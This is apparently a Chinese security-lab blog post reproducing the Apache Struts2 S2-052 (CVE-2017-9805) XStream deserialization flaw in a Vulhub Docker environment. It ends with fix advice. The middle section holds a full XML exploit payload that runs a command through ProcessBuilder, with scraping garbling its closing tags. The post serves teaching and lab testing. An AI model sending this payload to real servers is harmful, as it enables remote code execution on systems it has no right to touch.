rmi远程代码执行漏洞_Apache Struts2052远程代码执行漏洞复现

网安引领时代,弥天点亮未来   

c320bb6709db3146bd80f28db4e903ec.png 0x00漏洞简述

2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行

c320bb6709db3146bd80f28db4e903ec.png 0x01影响版本

Apache Struts 2.5 – Struts2.5.12

Apache Struts 2.1.2– Struts 2.3.33

c320bb6709db3146bd80f28db4e903ec.png 0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

http://192.168.60.131:8080/orders.xhtml   

faedd216ae0cfae0cfd0fb0c574a238f.png  

2、通过编辑进行POST数据的修改

dba567d9353681d629dbf4dff8efaa58.png

3、该rest-plugin会根据URI扩展名或 Content-Type来判断解析文件方式, 需要修改orders.xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

4、抓包对Content-Type类型修改

694ae23871a94371e107fb296880a4b8.png

5、XML格式Payload数据包构造

<map><entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0flags>      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">        <dataHandler>          <dataSource>            <is class="javax.crypto.CipherInputStream">              <cipher class="javax.crypto.NullCipher">                 <initialized>falseinitialized>                <opmode>0opmode>                <serviceIterator>                  <iter class="javax.imageio.spi.FilterIterator">                     <iter/>                     <next>                       <command><string>touchstring><string>/tmp/yunzui.txtstring>                       command>                      <redirectErrorStream>falseredirectErrorStream>                     next>                  iter>                  <filter class="javax.imageio.ImageIO$ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilderclass>                      <name>startname>                       <parameter-types/>                     method>                    <name>fooname>                  filter>                  <next>foonext>                serviceIterator>                <lock/>              cipher>              <input/>              <ibuffer/>              <done>falsedone>              <ostart>0ostart>              <ofinish>0ofinish>              <closed>falseclosed>            is>            <consumed>falseconsumed>          dataSource>          <transferFlavors/>        dataHandler>        <dataLen>0dataLen>      value>    jdk.nashorn.internal.objects.NativeString>    <jdk.nashorn.internal.objects.NativeStringreference="../jdk.nashorn.internal.objects.NativeString"/>  entry>  <entry>    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>    <jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  entry> map>

6、通过payload进行漏洞利用,执行命令,返回响应500状态码,但是执行成功。

touch /tmp/yunzui.txt

969b894e39264758dea9f1f322f844a8.png

7、命令执行结果进入docker查看,成功执行。

docker-compose exec struts2 bashls -al /tmp

4d6b23d2e8bb388c42d411cf6f7f46d5.png

c320bb6709db3146bd80f28db4e903ec.png 0x03修复建议

1、升级Apachestruts 2.5.13或2.3.34版本

2、如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名

"struts.action.extension" value="xhtml,,json" />

3、限制服务端扩展类型,删除XML支持

c320bb6709db3146bd80f28db4e903ec.png 0x04参考链接

https://www.anquanke.com/post/id/86773

392e2f926f09ec4151068ed831b7fe7d.gif 

知识分享完了

喜欢别忘了关注我们哦~

予以风动,必降弥天之润!

   弥  天

安全实验室

e3c821ee5213db9298fb2006aa4c7df4.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值